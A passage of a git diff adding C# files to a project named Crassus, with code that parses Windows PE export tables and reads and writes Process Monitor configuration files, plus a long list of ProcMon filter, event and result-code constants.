+ UInt32 sectionImagePointerToRawData = reader.ReadUInt32();
+
+ if (VirtualAddress > sectionImageVirtualAddress && VirtualAddress < (sectionImageVirtualAddress + sectionImageVirtualSize))
+ {
+ sectionOffset = (int)(sectionImageVirtualAddress - sectionImagePointerToRawData);
+ break;
+ }
+
+ sectionHeaderOffset += SIZEOF_IMAGE_SECTION_HEADER;
+ }
+ return sectionOffset;
+ }
+
+ private IMAGE_EXPORT_DIRECTORY GetImageExportDirectory(Int32 ExportOffset)
+ {
+ stream.Seek(ExportOffset, SeekOrigin.Begin);
+ IMAGE_EXPORT_DIRECTORY exportTable = new IMAGE_EXPORT_DIRECTORY();
+ exportTable.Characteristics = reader.ReadUInt32();
+ exportTable.TimeDateStamp = reader.ReadUInt32();
+ exportTable.MajorVersion = reader.ReadUInt16();
+ exportTable.MinorVersion = reader.ReadUInt16();
+ exportTable.Name = reader.ReadUInt32();
+ exportTable.Base = reader.ReadUInt32();
+ exportTable.NumberOfFunctions = reader.ReadUInt32();
+ exportTable.NumberOfNames = reader.ReadUInt32();
+ exportTable.AddressOfFunctions = reader.ReadUInt32();
+ exportTable.AddressOfNames = reader.ReadUInt32();
+ exportTable.AddressOfNameOrdinals = reader.ReadUInt32();
+ return exportTable;
+ }
+
+ private string[] GetFunctionNames(IMAGE_EXPORT_DIRECTORY ExportTable, Int32 SectionOffset)
+ {
+ int addressOfNamesOffset = (int)(ExportTable.AddressOfNames - SectionOffset);
+ string[] Functions = new string[ExportTable.NumberOfNames];
+
+ for (int i = 0; i < ExportTable.NumberOfNames; i++)
+ {
+ stream.Seek(addressOfNamesOffset, SeekOrigin.Begin);
+ Int32 nameOffset = reader.ReadInt32() - SectionOffset;
+
+ stream.Seek(nameOffset, SeekOrigin.Begin);
+ Functions[i] = "";
+ byte c;
+ do
+ {
+ c = reader.ReadByte();
+ Functions[i] += Encoding.ASCII.GetString(new byte[] { c });
+ } while (c != 0x00);
+ Functions[i] = Functions[i].Trim('\0');
+ addressOfNamesOffset += 4;
+ }
+
+ return Functions;
+ }
+
+ private Int16[] GetOrdinals(IMAGE_EXPORT_DIRECTORY ExportTable, Int32 SectionOffset)
+ {
+ int ordinalOffset = (int)(ExportTable.AddressOfNameOrdinals - SectionOffset);
+ Int16[] ordinals = new short[ExportTable.NumberOfNames];
+ stream.Seek(ordinalOffset, SeekOrigin.Begin);
+ for (int i = 0; i < ExportTable.NumberOfNames; i++)
+ {
+ ordinals[i] = (Int16)(reader.ReadInt16() + ExportTable.Base);
+ }
+
+ return ordinals;
+ }
+ }
+}
diff --git a/repos/Crassus/Crassus/ProcMon/ProcMonConfig.cs b/repos/Crassus/Crassus/ProcMon/ProcMonConfig.cs
new file mode 100644
index 000000000..5b2bbd5ec
--- /dev/null
+++ b/repos/Crassus/Crassus/ProcMon/ProcMonConfig.cs
@@ -0,0 +1,319 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Xml.Linq;
+using static Crassus.ProcMon.ProcMonConstants;
+
+namespace Crassus.ProcMon
+{
+ class ProcMonConfig
+ {
+ // Columns.
+ private List _columns = new List();
+ private List _filters = new List();
+ private List _highlights = new List();
+ public UInt32 ColumnCount = 0;
+ public String DbgHelpPath = "";
+ public String Logfile = "";
+ public String SourcePath = "";
+ public String SymbolPath = "";
+ public UInt32 HighlightFG = 0;
+ public UInt32 HighlightBG = 0;
+ public UInt32 AdvancedMode = 0;
+ public UInt32 Autoscroll = 0;
+ public UInt32 HistoryDepth = 0;
+ public UInt32 Profiling = 0;
+ public UInt32 DestructiveFilter = 0;
+ public UInt32 AlwaysOnTop = 0;
+ public UInt32 ResolveAddresses = 0;
+ public PMCFont LogFont = new PMCFont();
+ public PMCFont BoookmarkFont = new PMCFont(); // Not a typo.
+
+ public ProcMonConfig()
+ {
+ // We need to make sure some variables have default values.
+
+ // Fonts - https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-logfontw
+ LogFont.Height = 0; // The font mapper uses a default height value when it searches for a match.
+ LogFont.Width = 0; // The average width, in logical units, of characters in the font. If lfWidth is zero, the aspect ratio of the device is matched against the digitization aspect ratio of the available fonts to find the closest match, determined by the absolute value of the difference.
+ LogFont.Escapement = 0; // The angle, in tenths of degrees, between the escapement vector and the x-axis of the device. The escapement vector is parallel to the base line of a row of text.
+ LogFont.Orientation = 0; // The angle, in tenths of degrees, between each character's base line and the x-axis of the device.
+ LogFont.Weight = 400; // FW_NORMAL
+ LogFont.Italic = 0; // An italic font if set to TRUE.
+ LogFont.Underline = 0; // An underlined font if set to TRUE.
+ LogFont.StrikeOut = 0; // A strikeout font if set to TRUE.
+ LogFont.Charset = 1; // DEFAULT_CHARSET
+ LogFont.OutPrecision = 0; // OUT_DEFAULT_PRECIS
+ LogFont.ClipPrecision = 0; // CLIP_DEFAULT_PRECIS
+ LogFont.Quality = 0; // DEFAULT_QUALITY
+ LogFont.PitchAndFamily = 0; // DEFAULT_PITCH
+ LogFont.FaceName = new string('\0', 32);
+
+ // Same for Bookmark Font
+ BoookmarkFont.Height = 0;
+ BoookmarkFont.Width = 0;
+ BoookmarkFont.Escapement = 0;
+ BoookmarkFont.Orientation = 0;
+ BoookmarkFont.Weight = 400;
+ BoookmarkFont.Italic = 0;
+ BoookmarkFont.Underline = 0;
+ BoookmarkFont.StrikeOut = 0;
+ BoookmarkFont.Charset = 1;
+ BoookmarkFont.OutPrecision = 0;
+ BoookmarkFont.ClipPrecision = 0;
+ BoookmarkFont.Quality = 0;
+ BoookmarkFont.PitchAndFamily = 0;
+ BoookmarkFont.FaceName = new string('\0', 32);
+
+ HighlightBG = 16777215;
+ }
+
+ public void SetColumns(List Columns)
+ {
+ _columns = Columns;
+ }
+
+ public List GetColumns()
+ {
+ return _columns;
+ }
+
+ public void AddColumn(FilterRuleColumn Column, UInt16 Width)
+ {
+ _columns.Add(new PMCColumn { Column = Column, Width = Width });
+ }
+
+ public void SetFilters(List Filters)
+ {
+ _filters = Filters;
+ }
+
+ public void AddFilter(FilterRuleColumn Column, FilterRuleRelation Relation, FilterRuleAction Action, String Value)
+ {
+ _filters.Add(new PMCFilter { Column = Column, Relation = Relation, Action = Action, Value = Value });
+ }
+
+ public void SetHighlights(List Highlights)
+ {
+ _highlights = Highlights;
+ }
+
+ private void SanityCheck()
+ {
+ if (_columns.Count() == 0)
+ {
+ throw new Exception("No columns specified in the configuration");
+ }
+ else if (_filters.Count() == 0)
+ {
+ throw new Exception("No filters specified in the configuration");
+ }
+ }
+
+ public void Save(string saveAs)
+ {
+ SanityCheck();
+ using (var stream = File.Open(saveAs, FileMode.Create))
+ {
+ using (var writer = new BinaryWriter(stream, Encoding.Unicode, false))
+ {
+ // Int/UInt
+ WriteConfigToFile(writer, "ColumnCount", _columns.Where(c => c.Column != FilterRuleColumn.NONE).Count());
+ WriteConfigToFile(writer, "HighlightFG", HighlightFG);
+ WriteConfigToFile(writer, "HighlightBG", HighlightBG);
+ WriteConfigToFile(writer, "AdvancedMode", AdvancedMode);
+ WriteConfigToFile(writer, "Autoscroll", Autoscroll);
+ WriteConfigToFile(writer, "HistoryDepth", HistoryDepth);
+ WriteConfigToFile(writer, "Profiling", Profiling);
+ WriteConfigToFile(writer, "DestructiveFilter", DestructiveFilter);
+ WriteConfigToFile(writer, "AlwaysOnTop", AlwaysOnTop);
+ WriteConfigToFile(writer, "ResolveAddresses", ResolveAddresses);
+
+ // Strings
+ WriteConfigToFile(writer, "DbgHelpPath", DbgHelpPath);
+ WriteConfigToFile(writer, "Logfile", Logfile);
+ WriteConfigToFile(writer, "SourcePath", SourcePath);
+ WriteConfigToFile(writer, "SymbolPath", SymbolPath);
+
+ // Fonts
+ WriteConfigToFile(writer, "LogFont", LogFont);
+ WriteConfigToFile(writer, "BoookmarkFont", BoookmarkFont);
+
+ // Columns
+ WriteConfigToFile(writer, "Columns", _columns);
+ WriteConfigToFile(writer, "ColumnMap", _columns);
+
+ // Filters
+ WriteConfigToFile(writer, "FilterRules", _filters);
+ WriteConfigToFile(writer, "HighlightRules", _filters);
+ }
+ }
+ }
+
+ private void WriteConfigToFile(BinaryWriter writer, string name, Int32 value)
+ {
+ WriteConfigHeaderToFile(writer, name, GetDataSize(value));
+ writer.Write(value);
+ }
+
+ private void WriteConfigToFile(BinaryWriter writer, string name, UInt32 value)
+ {
+ WriteConfigHeaderToFile(writer, name, GetDataSize(value));
+ writer.Write(value);
+ }
+
+ private void WriteConfigToFile(BinaryWriter writer, string name, String value)
+ {
+ WriteConfigHeaderToFile(writer, name, GetDataSize(value));
+ writer.Write(Encoding.Unicode.GetBytes(value));
+ }
+
+ private void WriteConfigToFile(BinaryWriter writer, string name, PMCFont value)
+ {
+ WriteConfigHeaderToFile(writer, name, GetDataSize(value));
+
+ writer.Write(value.Height);
+ writer.Write(value.Width);
+ writer.Write(value.Escapement);
+ writer.Write(value.Orientation);
+ writer.Write(value.Weight);
+ writer.Write(value.Italic);
+ writer.Write(value.Underline);
+ writer.Write(value.StrikeOut);
+ writer.Write(value.Charset);
+ writer.Write(value.OutPrecision);
+ writer.Write(value.ClipPrecision);
+ writer.Write(value.Quality);
+ writer.Write(value.PitchAndFamily);
+ writer.Write(Encoding.Unicode.GetBytes(value.FaceName));
+ }
+
+ private void WriteConfigToFile(BinaryWriter writer, string name, List value)
+ {
+ int dataSize = (name.ToLower() == "columns") ? value.Count() * 2 : value.Count() * 4;
+ WriteConfigHeaderToFile(writer, name, dataSize);
+
+ if (name.ToLower() == "columns")
+ {
+ foreach (PMCColumn item in value)
+ {
+ writer.Write(item.Width);
+ }
+ }
+ else if (name.ToLower() == "columnmap")
+ {
+ foreach (PMCColumn item in value)
+ {
+ writer.Write((Int32)item.Column);
+ }
+ }
+ }
+
+ private void WriteConfigToFile(BinaryWriter writer, string name, List value)
+ {
+ WriteConfigHeaderToFile(writer, name, GetDataSize(value));
+
+ // Write the reserved byte.
+ writer.Write(Convert.ToByte(1));
+ writer.Write(Convert.ToByte(value.Count()));
+
+ foreach (PMCFilter filter in value)
+ {
+ byte[] filterValue = Encoding.Unicode.GetBytes(filter.Value + '\0');
+
+ writer.Write(Convert.ToByte(0)); // Reserved.
+ writer.Write(Convert.ToByte(0)); // Reserved.
+ writer.Write(Convert.ToByte(0)); // Reserved.
+ writer.Write((UInt32)filter.Column);
+ writer.Write((UInt32)filter.Relation);
+ writer.Write((Byte)filter.Action);
+ writer.Write(filterValue.Length);
+ writer.Write(filterValue);
+ writer.Write(Convert.ToInt32(0));
+ writer.Write(Convert.ToByte(0));
+ }
+
+ writer.Write(Convert.ToByte(0)); // Reserved.
+ writer.Write(Convert.ToByte(0)); // Reserved.
+ writer.Write(Convert.ToByte(0)); // Reserved.
+ }
+
+ private void WriteConfigHeaderToFile(BinaryWriter writer, string configName, int dataSize)
+ {
+ if (!configName.EndsWith("\0"))
+ {
+ configName += '\0';
+ }
+ int configNameSize = GetDataSize(configName);
+
+ // Calculate and write the record's size.
+ int recordSize = 4 // The recordSize itself.
+ + 4 // First 4 field size = 0x10
+ + 4 // First 5 field size = 0x10 + ConfigName.Length
+ + 4 // Data size length.
+ + configNameSize // The config name itself.
+ + dataSize; // The data size itself.
+ writer.Write(recordSize);
+
+ // Write first four field size, this is always 0x10.
+ writer.Write(0x10);
+
+ // Write the length of first 5 fields. This is the previous 0x10 + length of the name value.
+ writer.Write(0x10 + configNameSize); // +2 is for \0 in the end.
+
+ // Write the data size.
+ writer.Write(dataSize);
+
+ // Write the name.
+ // https://stackoverflow.com/questions/47409296/c-sharp-binarywriter-write-method-string-size
+ writer.Write(Encoding.Unicode.GetBytes(configName));
+ }
+
+ private int GetDataSize(dynamic value)
+ {
+ int size = 0;
+ if (value is String)
+ {
+ size = value.Length * 2; // // double it as it's unicode.
+ }
+ else if (value is Int32 || value is UInt32)
+ {
+ size = sizeof(Int32);
+ }
+ else if (value is PMCFont)
+ {
+ /*
+ * Broken down to make it easier to read:
+ * 5 * Int32
+ * 8 * Byte
+ * 1 * String(32) - Or Byte(64) (Unicode).
+ */
+ size = (5 * 4) + (8 * 1) + (32 * 2);
+ }
+ else if (value is List)
+ {
+ size = 1; // Reserved Byte
+ size += 1; // Number of rules (byte)
+
+ foreach (PMCFilter filter in value)
+ {
+ size += 3; // Reserved 3 bytes
+ size += 4; // ColumnType
+ size += 4; // Relation
+ size += 1; // Action
+ size += 4; // Value Length
+ size += Encoding.Unicode.GetBytes(filter.Value + '\0').Length; // Value
+ size += 4; // IntValue
+ size += 1; // Reserved byte
+ }
+
+ size += 3; // Reserved bytes
+ }
+
+ return size;
+ }
+ }
+}
diff --git a/repos/Crassus/Crassus/ProcMon/ProcMonConstants.cs b/repos/Crassus/Crassus/ProcMon/ProcMonConstants.cs
new file mode 100644
index 000000000..185bec24d
--- /dev/null
+++ b/repos/Crassus/Crassus/ProcMon/ProcMonConstants.cs
@@ -0,0 +1,436 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Runtime.InteropServices;
+using System.Text;
+using System.Threading.Tasks;
+
+
+namespace Crassus.ProcMon
+{
+ class ProcMonConstants
+ {
+ public enum PMCConfigName
+ {
+ None,
+ Columns,
+ ColumnMap,
+ ColumnCount, // Auto-Calculated when creating a new file.
+ DbgHelpPath,
+ Logfile,
+ HighlightFG,
+ HighlightBG,
+ LogFont,
+ BoookmarkFont, // Not a typo.
+ AdvancedMode,
+ Autoscroll,
+ HistoryDepth,
+ Profiling,
+ DestructiveFilter,
+ AlwaysOnTop,
+ ResolveAddresses,
+ SourcePath,
+ SymbolPath,
+ FilterRules,
+ HighlightRules
+ }
+
+ public enum FilterRuleAction : Byte
+ {
+ EXCLUDE = 0,
+ INCLUDE = 1,
+ }
+
+ public enum FilterRuleRelation : Int32
+ {
+ IS = 0,
+ IS_NOT = 1,
+ LESS_THAN = 2,
+ MORE_THAN = 3,
+ BEGINS_WITH = 4,
+ ENDS_WITH = 5,
+ CONTAINS = 6,
+ EXCLUDES = 7
+ }
+
+ public enum FilterRuleColumn : Int32
+ {
+ NONE = 0,
+ DATE_AND_TIME = 40052,
+ PROCESS_NAME = 40053,
+ PID = 40054,
+ OPERATION = 40055,
+ RESULT = 40056,
+ DETAIL = 40057,
+ SEQUENCE = 40058,
+ COMPANY = 40064,
+ DESCRIPTION = 40065,
+ COMMAND_LINE = 40066,
+ USER = 40067,
+ IMAGE_PATH = 40068,
+ SESSION = 40069,
+ PATH = 40071,
+ TID = 40072,
+ RELATIVE_TIME = 40076,
+ DURATION = 40077,
+ TIME_OF_DAY = 40078,
+ VERSION = 40081,
+ EVENT_CLASS = 40082,
+ AUTHENTICATION_ID = 40083,
+ VIRTUALIZED = 40084,
+ INTEGRITY = 40085,
+ CATEGORY = 40086,
+ PARENT_PID = 40087,
+ ARCHITECTURE = 40088,
+ COMPLETION_TIME = 40164
+ }
+
+ public enum EventClassType : Int32
+ {
+ Unknown = 0,
+ Process = 1,
+ Registry = 2,
+ File_System = 3,
+ Profiling = 4,
+ Network = 5
+ }
+
+ public enum EventProcessOperation : Int16
+ {
+ Process_Defined = 0,
+ Process_Create = 1,
+ Process_Exit = 2,
+ Thread_Create = 3,
+ Thread_Exit = 4,
+ Load_Image = 5,
+ Thread_Profile = 6,
+ Process_Start = 7,
+ Process_Statistics = 8,
+ System_Statistics = 9
+ }
+
+ public enum EventFileSystemOperation : Int16
+ {
+ VolumeDismount = 0,
+ VolumeMount = 1,
+ Process_Create = 1, // This is really a Process Operation value
+ FASTIO_MDL_WRITE_COMPLETE = 2,
+ WriteFile2 = 3,
+ FASTIO_MDL_READ_COMPLETE = 4,
+ ReadFile2 = 5,
+ Load_Image = 5, // This is really a Process Operation value
+ QueryOpen = 6,
+ FASTIO_CHECK_IF_POSSIBLE = 7,
+ IRP_MJ_12 = 8,
+ IRP_MJ_11 = 9,
+ IRP_MJ_10 = 10,
+ IRP_MJ_9 = 11,
+ IRP_MJ_8 = 12,
+ FASTIO_NOTIFY_STREAM_FO_CREATION = 13,
+ FASTIO_RELEASE_FOR_CC_FLUSH = 14,
+ FASTIO_ACQUIRE_FOR_CC_FLUSH = 15,
+ FASTIO_RELEASE_FOR_MOD_WRITE = 16,
+ FASTIO_ACQUIRE_FOR_MOD_WRITE = 17,
+ FASTIO_RELEASE_FOR_SECTION_SYNCHRONIZATION = 18,
+ CreateFileMapping = 19,
+ CreateFile = 20,
+ CreatePipe = 21,
+ IRP_MJ_CLOSE = 22,
+ ReadFile = 23,
+ WriteFile = 24,
+ QueryInformationFile = 25,
+ SetInformationFile = 26,
+ QueryEAFile = 27,
+ SetEAFile = 28,
+ FlushBuffersFile = 29,
+ QueryVolumeInformation = 30,
+ SetVolumeInformation = 31,
+ DirectoryControl = 32,
+ FileSystemControl = 33,
+ DeviceIoControl = 34,
+ InternalDeviceIoControl = 35,
+ Shutdown = 36,
+ LockUnlockFile = 37,
+ CloseFile = 38,
+ CreateMailSlot = 39,
+ QuerySecurityFile = 40,
+ SetSecurityFile = 41,
+ Power = 42,
+ SystemControl = 43,
+ DeviceChange = 44,
+ QueryFileQuota = 45,
+ SetFileQuota = 46,
+ PlugAndPlay = 47
+ }
+
+ public enum EventResult : UInt32
+ {
+ SUCCESS = 0,
+ NO_MORE_DATA = 0x103,
+ REPARSE = 0x104,
+ MORE_ENTRIES = 0x105,
+ OPLOCK_BREAK_IN_PROGRESS = 0x108,
+ NOTIFY_CLEANUP = 0x10b,
+ NOTIFY_ENUM_DIR = 0x10c,
+ FILE_LOCKED_WITH_ONLY_READERS = 0x12a,
+ FILE_LOCKED_WITH_WRITERS = 0x12b,
+ OPLOCK_SWITCHED_TO_NEW_HANDLE = 0x215,
+ OPLOCK_HANDLE_CLOSED = 0x216,
+ WAIT_FOR_OPLOCK = 0x367,
+ PREDEFINED_HANDLE = 0x40000016,
+ UNSUCCESSFUL = 0xc0000001,
+ INVALID_EA_FLAG = 0x80000015,
+ DATATYPE_MISALIGNMENT = 0x80000002,
+ BUFFER_OVERFLOW = 0x80000005,
+ NO_MORE_FILES = 0x80000006,
+ NO_MORE_ENTRIES = 0x8000001a,
+ NOT_EMPTY = 0xc0000101,
+ NOT_IMPLEMENTED = 0xc0000002,
+ INVALID_INFO_CLASS = 0xc0000003,
+ INFO_LENGTH_MISMATCH = 0xc0000004,
+ ACCESS_VIOLATION = 0xc0000005,
+ IN_PAGE_ERROR = 0xc0000006,
+ INVALID_HANDLE = 0xc0000008,
+ INVALID_PARAMETER = 0xc000000d,
+ NO_SUCH_DEVICE = 0xc000000e,
+ NO_SUCH_FILE = 0xc000000f,
+ INVALID_DEVICE_REQUEST = 0xc0000010,
+ END_OF_FILE = 0xc0000011,
+ WRONG_VOLUME = 0xc0000012,
+ NO_MEDIA = 0xc0000013,
+ NONEXISTENT_SECTOR = 0xc0000015,
+ NO_MEMORY = 0xc0000017,
+ ALREADY_COMMITED = 0xc0000021,
+ ACCESS_DENIED = 0xc0000022,
+ BUFFER_TOO_SMALL = 0xc0000023,
+ OBJECT_TYPE_MISMATCH = 0xc0000024,
+ DISK_CORRUPT = 0xc0000032,
+ NAME_INVALID = 0xc0000033,
+ NAME_NOT_FOUND = 0xc0000034,
+ NAME_COLLISION = 0xc0000035,
+ OBJECT_PATH_INVALID = 0xc0000039,
+ PATH_NOT_FOUND = 0xc000003a,
+ PATH_SYNTAX_BAD = 0xc000003b,
+ DATA_OVERRUN = 0xc000003c,
+ CRC_ERROR = 0xc000003f,
+ SHARING_VIOLATION = 0xc0000043,
+ QUOTA_EXCEEDED = 0xc0000044,
+ EAS_NOT_SUPPORTED = 0xc000004f,
+ EA_TOO_LARGE = 0xc0000050,
+ NONEXISTENT_EA_ENTRY = 0xc0000051,
+ NO_EAS_ON_FILE = 0xc0000052,
+ EA_CORRUPTED_ERROR = 0xc0000053,
+ FILE_LOCK_CONFLICT = 0xc0000054,
+ NOT_GRANTED = 0xc0000055,
+ DELETE_PENDING = 0xc0000056,
+ PRIVILEGE_NOT_HELD = 0xc0000061,
+ LOGON_FAILURE = 0xc000006d,
+ RANGE_NOT_LOCKED = 0xc000007e,
+ DISK_FULL = 0xc000007f,
+ FILE_INVALID = 0xc0000098,
+ INSUFFICIENT_RESOURCES = 0xc000009a,
+ DEVICE_DATA_ERROR = 0xc000009c,
+ DEVICE_NOT_CONNECTED = 0xc000009d,
+ MEDIA_WRITE_PROTECTED = 0xc00000a2,
+ BAD_IMPERSONATION = 0xc00000a5,
+ INSTANCE_NOT_AVAILABLE = 0xc00000ab,
+ PIPE_NOT_AVAILABLE = 0xc00000ac,
+ INVALID_PIPE_STATE = 0xc00000ad,
+ PIPE_BUSY = 0xc00000ae,
+ PIPE_DISCONNECTED = 0xc00000b0,
+ PIPE_CLOSING = 0xc00000b1,
+ PIPE_CONNECTED = 0xc00000b2,
+ PIPE_LISTENING = 0xc00000b3,
+ INVALID_READ_MODE = 0xc00000b4,
+ IO_TIMEOUT = 0xc00000b5,
+ IS_DIRECTORY = 0xc00000ba,
+ NOT_SUPPORTED = 0xc00000bb,
+ DUPLICATE_NAME = 0xc00000bd,
+ BAD_NETWORK_PATH = 0xc00000be,
+ BAD_NETWORK_PATH_2 = 0xc00000c1,
+ INVALID_NETWORK_RESPONSE = 0xc00000c3,
+ NETWORK_ERROR = 0xc00000c4,
+ BAD_NETWORK_NAME = 0xc00000cc,
+ BAD_NETWORK_NAME_2 = 0xc00000d4,
+ CANT_WAIT = 0xc00000d8,
+ PIPE_EMPTY = 0xc00000d9,
+ CSC_OBJECT_PATH_NOT_FOUND = 0xc00000db,
+ OPLOCK_NOT_GRANTED = 0xc00000e2,
+ INVALID_PARAMETER_1 = 0xc00000ef,
+ INVALID_PARAMETER_2 = 0xc00000f0,
+ INVALID_PARAMETER_3 = 0xc00000f1,
+ INVALID_PARAMETER_4 = 0xc00000f2,
+ REDIRECTOR_NOT_STARTED = 0xc00000fb,
+ FILE_CORRUPT = 0xc0000102,
+ NOT_A_DIRECTORY = 0xc0000103,
+ FILES_OPEN = 0xc0000107,
+ CANNOT_IMPERSONATE = 0xc000010d,
+ CANCELLED = 0xc0000120,
+ CANNOT_DELETE = 0xc0000121,
+ FILE_DELETED = 0xc0000123,
+ FILE_CLOSED = 0xc0000128,
+ THREAD_NOT_IN_PROCESS = 0xc000012a,
+ INVALID_LEVEL = 0xc0000148,
+ PIPE_BROKEN = 0xc000014b,
+ REGISTRY_CORRUPT = 0xc000014c,
+ IO_FAILED = 0xc000014d,
+ KEY_DELETED = 0xc000017c,
+ CHILD_MUST_BE_VOLATILE = 0xc0000181,
+ INVALID_DEVICE_STATE = 0xc0000184,
+ IO_DEVICE_ERROR = 0xc0000185,
+ LOG_FILE_FULL = 0xc0000188,
+ FS_DRIVER_REQUIRED = 0xc000019c,
+ INSUFFICIENT_SERVER_RESOURCES = 0xc0000205,
+ INVALID_ADDRESS_COMPONENT = 0xc0000207,
+ DISCONNECTED = 0xc000020c,
+ NOT_FOUND = 0xc0000225,
+ USER_MAPPED_FILE = 0xc0000243,
+ LOGIN_WKSTA_RESTRICTION = 0xc0000248,
+ PATH_NOT_COVERED = 0xc0000257,
+ DFS_UNAVAILABLE = 0xc000026d,
+ NO_MORE_MATCHES = 0xc0000273,
+ NOT_REPARSE_POINT = 0xc0000275,
+ CANNOT_MAKE = 0xc00002ea,
+ OBJECTID_NOT_FOUND = 0xc00002f0,
+ DOWNGRADE_DETECTED = 0xc0000388,
+ CANNOT_EXECUTE_FILE_IN_TRANSACTION = 0xc0190044,
+ HIVE_UNLOADED = 0xc0000425,
+ FILE_SYSTEM_LIMITATION = 0xc0000427,
+ DEVICE_FEATURE_NOT_SUPPORTED = 0xc0000463,
+ OBJECT_NOT_EXTERNALLY_BACKED = 0xc000046d,
+ CANNOT_BREAK_OPLOCK = 0xc0000909,
+ STATUS_OFFLOAD_READ_FLT_NOT_SUPPORTED = 0xc000a2a1,
+ STATUS_OFFLOAD_WRITE_FLT_NOT_SUPPORTED = 0xc000a2a2,
+ TRANSACTIONAL_CONFLICT = 0xc0190001,
+ INVALID_TRANSACTION = 0xc0190002,
+ TRANSACTION_NOT_ACTIVE = 0xc0190003,
+ EFS_NOT_ALLOWED_IN_TRANSACTION = 0xc019003e,
+ TRANSACTIONAL_OPEN_NOT_ALLOWED = 0xc019003f,
+ TRANSACTED_MAPPING_UNSUPPORTED_REMOTE = 0xc0190040,
+ OFFLOAD_READ_FILE_NOT_SUPPORTED = 0xc000a2a3,
+ OFFLOAD_READ_FILE_NOT_SUPPORTED_2 = 0xc000a2a4,
+ SPARSE_NOT_ALLOWED_IN_TRANSACTION = 0xc0190049,
+ FAST_IO_DISALLOWED = 0xc01c0004
+ }
+
+ public struct PMCColumn
+ {
+ public FilterRuleColumn Column;
+ public UInt16 Width;
+ }
+
+ public struct PMCFont
+ {
+ public UInt32 Height;
+ public UInt32 Width;
+ public UInt32 Escapement;
+ public UInt32 Orientation;
+ public UInt32 Weight;
+ public Byte Italic;
+ public Byte Underline;
+ public Byte StrikeOut;
+ public Byte Charset;
+ public Byte OutPrecision;
+ public Byte ClipPrecision;
+ public Byte Quality;
+ public Byte PitchAndFamily;
+ public String FaceName; // Fixed 64 bytes.
+ }
+
+ public struct PMCFilter
+ {
+ public FilterRuleColumn Column;
+ public FilterRuleRelation Relation;
+ public FilterRuleAction Action;
+ public String Value;
+ }
+
+ public struct PMLHeaderStruct
+ {
+ public String Signature;
+ public Int32 Version;
+ public Int32 Architecture;
+ public String ComputerName;
+ public String SystemRootPath;
+ public UInt32 TotalEventCount;
+ public Int64 OffsetEventArray;
+ public Int64 OffsetEventOffsetArray;
+ public Int64 OffsetProcessArray;
+ public Int64 OffsetStringArray;
+ public Int64 OffsetIconArray;
+ public Int32 WindowsVersionMajor;
+ public Int32 WindowsVersionMinor;
+ public Int32 WindowsVersionBuild;
+ public Int32 WindowsVersionRevision;
+ public String WindowsServicePack;
+ public Int32 LogicalProcessors;
+ public Int64 RAMSize;
+ public Int64 OffsetEventArray2;
+ public Int64 OffsetHostsPortArray;
+ }
+
+ public struct PMLProcessStruct
+ {
+ public Int32 ProcessIndex;
+ public Int32 ProcessId;
+ public Int32 ParentProcessId;
+ public Int64 AuthenticationId;
+ public Int32 SessionNumber;
+ public FILETIME ProcessStartTime;
+ public FILETIME ProcessEndTime;
+ public Int32 IsVirtualised;
+ public Int32 Is64;
+ public Int32 indexStringIntegrity;
+ public Int32 indexStringUser;
+ public Int32 indexStringProcessName;
+ public Int32 indexStringImagePath;
+ public Int32 indexStringCommandLine;
+ public Int32 indexStringExecutableCompany;
+ public Int32 indexStringExecutableVersion;
+ public Int32 indexStringExecutableDescription;
+ public Int32 indexIconSmall;
+ public Int32 indexIconBig;
+ public Int32 ProcessModuleCount;
+
+ // Loaded from the indexes above.
+ public string Integrity;
+ public string User;
+ public string ProcessName;
+ public string ImagePath;
+ public string CommandLine;
+ public string ExecutableCompany;
+ public string ExecutableVersion;
+ public string ExecutableDescription;
+ }
+
+ public struct PMLEventStruct
+ {
+ public Int32 indexProcessEvent;
+ public Int32 ThreadId;
+ public Int32 EventClass;
+ public Int16 OperationType;
+ public Int64 DurationOfOperation;
+ public FILETIME TimeCaptured;
+ public UInt32 Result;
+ public Int16 CapturedStackTraceDepth;
+ public Int32 DetailStructureSize;
+ public UInt32 ExtraDetailOffset;
+ public UInt32 ExtraDetailSize;
+ }
+
+ // This hard-codes every Operation for a PMLEvent to the FileSystem subset of oeprations.
+ // This isn't what we want.
+ public struct PMLEvent
+ {
+ public EventClassType EventClass;
+ public EventFileSystemOperation Operation;
+ public EventProcessOperation ProcessOperation;
+ public EventResult Result;
+ public string Path;
+ public PMLProcessStruct Process;
+ public PMLEventStruct OriginalEvent;
+ public bool Loaded;
+ public string FoundPath;
+ }
+ }
+}
diff --git a/repos/Crassus/Crassus/ProcMon/ProcMonPMC.cs b/repos/Crassus/Crassus/ProcMon/ProcMonPMC.cs
new file mode 100644
index 000000000..171d2d0fe
--- /dev/null
+++ b/repos/Crassus/Crassus/ProcMon/ProcMonPMC.cs
@@ -0,0 +1,226 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Text;
+using System.Threading.Tasks;
+using static Crassus.ProcMon.ProcMonConstants;
+
+namespace Crassus.ProcMon
+{
+ class ProcMonPMC
+ {
+ private readonly string PMCFile = "";
+
+ // This is the dictionary that will hold all the loaded configuration.
+ //private Dictionary Configuration = new Dictionary();
+
+ private ProcMonConfig Configuration = new ProcMonConfig();
+
+ public ProcMonPMC(string PMCFile)
+ {
+ this.PMCFile = PMCFile;
+
+ // If the file does not exist it means we will be creating a new one.
+ if (File.Exists(this.PMCFile))
+ {
+ Load();
+ }
+ }
+
+ public ProcMonConfig GetConfiguration()
+ {
+ return Configuration;
+ }
+
+ private void Load()
+ {
+ using (var stream = File.Open(PMCFile, FileMode.Open, FileAccess.Read))
+ {
+ using (var reader = new BinaryReader(stream, Encoding.Unicode, false))
+ {
+ Int32 currentPosition = 0;
+ do
+ {
+ // The whole file is eventually a bit array of records, and the first 4 bytes is the
+ // size of the current one.
+ Int32 recordSize = reader.ReadInt32();
+
+ // This is the size of the first 4 fields - always will be 0x10.
+ Int32 firstFourFieldsSize = reader.ReadInt32();
+
+ // The length of the configuration name. To get it, subtract the size of the first 4
+ // fields we read previously.
+ Int32 configNameLength = reader.ReadInt32() - firstFourFieldsSize;
+
+ // The size of the data we have to read.
+ Int32 dataSize = reader.ReadInt32();
+
+ // Now that we have it all, read the actual name of the configuration.
+ string configName = Encoding.Unicode.GetString(reader.ReadBytes(configNameLength));
+
+ // Try to get the column that has been loaded.
